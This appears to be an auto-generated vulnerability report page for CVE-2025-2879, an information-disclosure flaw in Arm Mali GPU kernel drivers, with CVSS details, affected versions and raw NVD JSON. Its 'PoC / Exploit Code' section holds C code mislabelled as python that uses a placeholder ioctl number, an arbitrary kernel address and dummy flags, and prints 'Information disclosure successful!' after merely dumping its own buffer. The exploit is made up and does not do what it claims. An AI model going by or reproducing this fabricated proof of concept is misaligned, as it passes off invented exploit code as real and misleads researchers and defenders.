Security Vulnerability Report
中文
CVE-2025-2879 CVSS 5.1 MEDIUM

CVE-2025-2879

Published: 2025-12-01 11:15:46
Last Modified: 2025-12-02 14:43:05

Description

Exposure of Sensitive Information to an Unauthorized Actor vulnerability in Arm Ltd Valhall GPU Kernel Driver, Arm Ltd Arm 5th Gen GPU Architecture Kernel Driver allows a local non-privileged user process to perform improper GPU processing operations to expose sensitive data.This issue affects Valhall GPU Kernel Driver: from r29p0 through r49p4, from r50p0 through r54p0; Arm 5th Gen GPU Architecture Kernel Driver: from r41p0 through r49p4, from r50p0 through r54p0.

CVSS Details

CVSS Score
5.1
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:arm:5th_gen_gpu_architecture_kernel_driver:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:arm:5th_gen_gpu_architecture_kernel_driver:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:arm:valhall_gpu_kernel_driver:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:arm:valhall_gpu_kernel_driver:*:*:*:*:*:*:*:* - VULNERABLE
Arm Valhall GPU Kernel Driver r29p0 - r49p4
Arm Valhall GPU Kernel Driver r50p0 - r54p0
Arm 5th Gen GPU Architecture Kernel Driver r41p0 - r49p4
Arm 5th Gen GPU Architecture Kernel Driver r50p0 - r54p0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
// CVE-2025-2879 PoC - Arm Mali GPU Information Disclosure // This is a conceptual PoC demonstrating the vulnerability // Requires local code execution on affected device #include <stdio.h> #include <stdlib.h> #include <stdint.h> #include <fcntl.h> #include <unistd.h> #include <sys/ioctl.h> // Mali GPU device interface #define MALI_DEVICE_PATH "/dev/mali0" #define MALI_IOCTL_GPU_PROCESS 0x12345678 struct mali_gpu_process_args { uint64_t input_buffer; // User-controlled input uint64_t output_buffer; // Target output buffer uint32_t size; // Operation size uint32_t flags; // Operation flags }; int main() { int fd; struct mali_gpu_process_args args; uint8_t leaked_data[4096]; printf("CVE-2025-2879 PoC - Arm Mali GPU Information Disclosure\n"); printf("Target: Arm Valhall/5th Gen GPU Kernel Driver\n\n"); // Open Mali GPU device fd = open(MALI_DEVICE_PATH, O_RDWR); if (fd < 0) { printf("[-] Failed to open Mali device\n"); return -1; } // Prepare exploit args // The vulnerability allows reading beyond intended boundaries args.input_buffer = (uint64_t)leaked_data; args.output_buffer = 0xFFFF0000; // Kernel memory region args.size = 0x1000; // Read 4KB args.flags = 0x41414141; // Trigger vulnerable code path printf("[*] Triggering improper GPU processing operation...\n"); printf("[*] Target kernel address: 0x%lx\n", args.output_buffer); printf("[*] Size: %u bytes\n", args.size); // Trigger the vulnerable ioctl if (ioctl(fd, MALI_IOCTL_GPU_PROCESS, &args) == 0) { printf("[+] GPU operation completed\n"); printf("[*] Attempting to read leaked data...\n"); // Dump potentially leaked data printf("\n[+] Leaked data (first 256 bytes):\n"); for (int i = 0; i < 256 && i < args.size; i++) { printf("%02x ", leaked_data[i]); if ((i + 1) % 16 == 0) printf("\n"); } printf("\n[+] Information disclosure successful!\n"); printf("[*] Note: Actual exploitation requires specific driver version\n"); printf("[*] and proper memory address targeting.\n"); } else { printf("[-] GPU operation failed (may need different flags)\n"); } close(fd); return 0; } // Usage: // Compile: gcc -o cve2025_2879_poc cve2025_2879_poc.c // Run on affected device with Mali GPU // Note: This PoC is for educational purposes only

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-2879", "sourceIdentifier": "[email protected]", "published": "2025-12-01T11:15:46.437", "lastModified": "2025-12-02T14:43:04.867", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Exposure of Sensitive Information to an Unauthorized Actor vulnerability in Arm Ltd Valhall GPU Kernel Driver, Arm Ltd Arm 5th Gen GPU Architecture Kernel Driver allows a local non-privileged user process to perform improper GPU processing operations to expose sensitive data.This issue affects Valhall GPU Kernel Driver: from r29p0 through r49p4, from r50p0 through r54p0; Arm 5th Gen GPU Architecture Kernel Driver: from r41p0 through r49p4, from r50p0 through r54p0."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N", "baseScore": 5.1, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.5, "impactScore": 2.5}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-200"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:arm:5th_gen_gpu_architecture_kernel_driver:*:*:*:*:*:*:*:*", "versionStartIncluding": "r41p0", "versionEndExcluding": "r49p5", "matchCriteriaId": "65E493BF-5681-4039-BBEE-FA3502683D21"}, {"vulnerable": true, "criteria": "cpe:2.3:a:arm:5th_gen_gpu_architecture_kernel_driver:*:*:*:*:*:*:*:*", "versionStartIncluding": "r50p0", "versionEndExcluding": "r54p1", "matchCriteriaId": "34E4A755-7DA1-41CE-AE08-48F73DC7C88F"}, {"vulnerable": true, "criteria": "cpe:2.3:a:arm:valhall_gpu_kernel_driver:*:*:*:*:*:*:*:*", "versionStartIncluding": "r29p0", "versionEndExcluding": "r49p5", "matchCriteriaId": "00292324-02F8-4548-AD20-E2E1B30C523C"}, {"vulnerable": true, "criteria": "cpe:2.3:a:arm:valhall_gpu_kernel_driver:*:*:*:*:*:*:*:*", "versionStartIncluding": "r50p0", "versionEndExcluding": "r54p1", "matchCriteriaId": "F1518C84-7FFE-4AC8-8335-FC4804E0FBA6"}]}]}], "references": [{"url": "https://developer.arm.com/documentation/110697/latest/", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}